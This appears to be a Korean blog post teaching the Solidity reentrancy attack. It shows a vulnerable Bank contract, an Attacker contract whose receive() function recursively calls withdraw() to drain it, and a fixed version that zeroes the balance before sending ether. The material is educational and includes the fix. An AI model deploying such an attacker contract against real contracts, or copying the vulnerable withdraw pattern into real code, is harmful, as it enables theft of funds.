재진입 공격
- 이더를 전송하는 Send, Transfer 함수는 2300이라는 고정 가스비 소모 때문에 현재는 Call 함수를 권장하고 잇다.
- 하지만 Call 함수는 재진입 문제가 있기때문에 컨트랙트 작성에 있어 시큐리티 코딩이 필요하다
Receive : 순수 이더만 받을때 작동하는 함수
Fallback : 함수를 실행하면서 이더를 보낼 때, 존재하지 않는 함수를 호출할 때 작동하는 함수
- 공격은 CA(공격자) 가 CA(컨트랙트) 에 가하는 것
- 공격자의CA의 Receive 함수를 통해 공격
- 따라서 입금과 출금 함수가 있는 컨트랙트에 대한 공격을 의미
- 공격자 CA는 한번 입급을 한 뒤, 출금함수를 실행하고 공격자 CA의 Receive 함수를 통해 재귀적으로 출금 함수를 계속 실행
pragma solidity ^0.8.0;
contract Bank {
mapping(address => uint) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint currentBalance = balances[msg.sender];
(bool result,) = msg.sender.call{value:currentBalance}("");
// 바로 이 부분에서, receive 함수가 실행됨
require(result, "ERROR");
balances[msg.sender]=0;
}
function chekcBalance() external view returns(uint) {
return address(this).balance;
}
}
pragma solidity ^0.8.0;
contract Attacker {
Bank public bank;
address public owner;
receive() payable external {
if(address(msg.sender).balance>0) {
bank.withdraw();
}
}
constructor(address _bank) {
bank = Bank(_bank);
}
function sendEther() external payable {
bank.deposit{value:msg.value}();
}
function withdrawEther() external {
bank.withdraw();
}
function chekcBalance() external view returns(uint) {
return address(this).balance;
}
}
- 공격자의 CA의 생성자 함수에 은행의 공개주소를 넣어주면 은행의 함수가 실행 가능함
- 이해가 안갔던 부분은 withdraw 함수에서 이를 실행했을때 잔액을 차감해 주고 있는데 왜 계속 이더를 전송하는거지?
- Receive 함수는 withdraw 함수가 실행되고 실행되는 것이 아니라 call함수가 실행되면 실행됨
- 따라서 그 아래의 코드에서 잔액을 차감하면 취약점이 발생
아래와 같이 개선하면 시큐어 코딩이 가능함
pragma solidity ^0.8.0;
contract Bank {
...
function withdraw() external {
uint currentBalance = balances[msg.sender];
balances[msg.sender] = 0;
(bool result,) = msg.sender.call{value:currentBalance}("");
require(result, "ERROR");
}
...
}
'[Web3.0] > 블록체인' 카테고리의 다른 글
| Wyvern Protocol (0) | 2023.03.14 |
|---|---|
| COSMOS (0) | 2023.03.10 |
| Structure of CryptoKitties (0) | 2023.03.06 |
| 이더리움 GAS (0) | 2023.02.17 |
| 이더리움 Transaction 구조 (0) | 2023.02.17 |